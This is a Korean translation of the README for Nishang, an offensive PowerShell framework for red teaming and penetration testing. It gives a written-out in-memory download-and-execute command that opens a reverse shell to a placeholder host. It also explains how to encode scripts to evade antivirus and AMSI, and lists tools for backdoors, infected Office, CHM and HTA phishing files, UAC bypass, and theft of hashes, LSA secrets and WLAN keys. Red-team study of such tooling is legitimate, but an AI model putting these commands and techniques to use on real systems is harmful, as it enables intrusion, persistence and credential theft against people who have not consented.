
Nishang - 레드팀, 침투 테스트 및 공격 보안을 위한 공격적 PowerShell
작성자: Nikhil Mittal Altered Security - Hands-on red team and enterprise security training! 설립자
현재 PowerShell 세션에서 모든 스크립트 가져오기 (PowerShell v3 이상).
PS C:\nishang> Import-Module .\nishang.psm1
개별 스크립트는 닷 소싱(dot sourcing)으로 사용하세요.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
스크립트나 함수에 대한 도움말을 보려면 다음을 사용하세요:
PS C:\nishang> Get-Help [scriptname] -full
참고: 버전 0.3.8 이후로, 도움말은 스크립트 자체가 아니라 스크립트 실행 후 로드된 함수에 대해 제공됩니다. 모든 경우에 함수 이름은 스크립트 이름과 동일합니다.
예를 들어, Get-WLAN-Keys.ps1에 대한 도움말을 보려면 다음을 사용하세요.
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang 스크립트는 많은 안티 바이러스 프로그램에서 악성으로 탐지됩니다. 대상에서의 스크립트는 메모리에서 사용하도록 설계되었으며, PowerShell로 매우 쉽게 수행할 수 있습니다. PowerShell 스크립트를 메모리에서 실행하는 두 가지 기본 방법:
방법 1. 인메모리 다운로드 및 실행 사용: 원격 셸, meterpreter 네이티브 셸, 웹 셸 등에서 아래 명령을 사용하여 PowerShell 스크립트와 해당 스크립트가 내보내는 함수를 실행하세요. Nishang의 모든 스크립트는 현재 PowerShell 세션에 동일한 이름의 함수를 내보냅니다.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
방법 2. PowerShell의 -encodedcommand (또는 -e) 매개변수 사용
Nishang의 모든 스크립트는 현재 PowerShell 세션에 동일한 이름의 함수를 내보냅니다. 따라서 비-PowerShell 셸에서 encodedcommand 매개변수를 사용하는 경우 스크립트 자체에 함수 호출을 포함해야 합니다. 위 예제의 경우, 따옴표 없이 "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"를 추가하세요.
Nishang의 Invoke-Encode를 사용하여 스크립트를 인코딩하세요:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
인코딩된 데이터가 .\encoded.txt에 기록됨
인코딩된 명령이 .\encodedcommand.txt에 기록됨
위에서 encodedcommand.txt의 인코딩된 스크립트를 사용하여 명령을 실행할 수 있는 대상(원격 셸, meterpreter 네이티브 셸, 웹 셸 등)에서 실행하세요. 다음과 같이 사용하세요:
C:\Users\target> powershell -e [encodedscript]
스크립트가 여전히 탐지되는 경우, 함수 및 매개변수 이름을 변경하고 도움말 내용을 제거하면 도움이 됩니다.
Windows 10의 AMSI가 여전히 스크립트 실행을 차단하는 경우, 이 블로그를 참조하세요: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang에는 현재 다음 스크립트와 페이로드가 포함되어 있습니다.
DCShadow에 필요한 최소 권한을 제공하기 위해 AD 개체를 수정합니다.
이 웹쉘을 사용하여 메모리에서 PowerShell 스크립트 실행, 명령 실행, 파일 다운로드 및 업로드를 수행합니다.
타사 웹사이트에서 명령을 수신하고 메모리에서 PowerShell 스크립트를 실행할 수 있는 백도어입니다.
DNS TXT 쿼리로부터 명령 및 PowerShell 스크립트를 수신하고, 대상에서 실행하며, 쿼리를 통해 원격으로 제어할 수 있는 백도어입니다.
지정된 시간에 대상에서 PowerShell 스크립트를 실행할 수 있는 백도어입니다.
WLAN SSID에 연결하지 않고도 명령과 스크립트를 수신할 수 있는 백도어입니다.
Windows 화면 보호기를 사용하여 원격 명령 및 스크립트 실행을 수행할 수 있는 백도어입니다.
대체 데이터 스트림(ADS)과 Windows 레지스트리를 사용하여 지속성을 확보할 수 있는 백도어입니다.
잘 알려진 디버거 트릭을 사용하여 Sticky keys 및 Utilman (Windows 키 + U)으로 페이로드를 실행하는 백도어입니다.
DCOM 및 WMI 네임스페이스의 권한을 수정하여 비관리자 사용자가 액세스할 수 있도록 합니다.
PowerShell 원격의 권한을 수정하여 비관리자 사용자가 액세스할 수 있도록 합니다.
공개된 방법을 구현하여 AMSI를 우회/회피합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 감염된 CHM 파일을 생성합니다.
Word 파일을 생성하고 기존 파일을 감염시켜 PowerShell 명령 및 스크립트를 실행합니다.
Excel 파일을 생성하고 기존 파일을 감염시켜 PowerShell 명령 및 스크립트를 실행합니다.
웹 서버에 배포하고 피싱 캠페인에 사용할 수 있는 HTA 파일을 생성합니다.
애플릿과 함께 사용하여 스크립트 및 명령 실행에 사용할 수 있는 서명된 JAR 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 바로가기 파일을 생성합니다.
자격 증명 및 SMB 해시를 피싱하기 위한 IQY 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 JS 파일을 생성합니다.
PowerShell 명령 및 스크립트를 실행할 수 있는 SCT 파일을 생성합니다.
NTLM 해시 챌린지를 캡처하는 데 사용할 수 있는 SCF 파일을 생성합니다.
SYSTEM 권한이 필요한 경우 사용합니다.
패치를 제거하여 취약점을 도입합니다.
UAC를 우회합니다.
PowerShell 스크립트를 메모리에 다운로드하여 실행합니다.
텍스트 형식의 실행 파일을 다운로드하고, 실행 파일로 변환한 후 실행합니다.
충분한 권한이 있는 MSSQL 서버에서 PowerShell 명령, 네이티브 명령 또는 SQL 명령을 실행합니다.
DNS TXT 쿼리를 사용하여 메모리에서 셸코드를 실행합니다.
rundll32.exe를 사용하여 PowerShell 명령 및 스크립트 또는 역방향 PowerShell 세션을 실행합니다.
가상 머신인지 확인합니다.
볼륨 섀도 복사 서비스를 사용하여 SAM 파일을 복사합니다.
사용자를 속여 평문 자격 증명을 제공하게 합니다.
이그레스 테스트를 위한 한 쌍의 스크립트입니다.
대상에서 유용한 정보를 수집합니다.
대상에서 LSA 비밀을 가져옵니다.
대상에서 비밀번호 해시를 가져옵니다.
대상에서 WLAN 키를 평문으로 가져옵니다.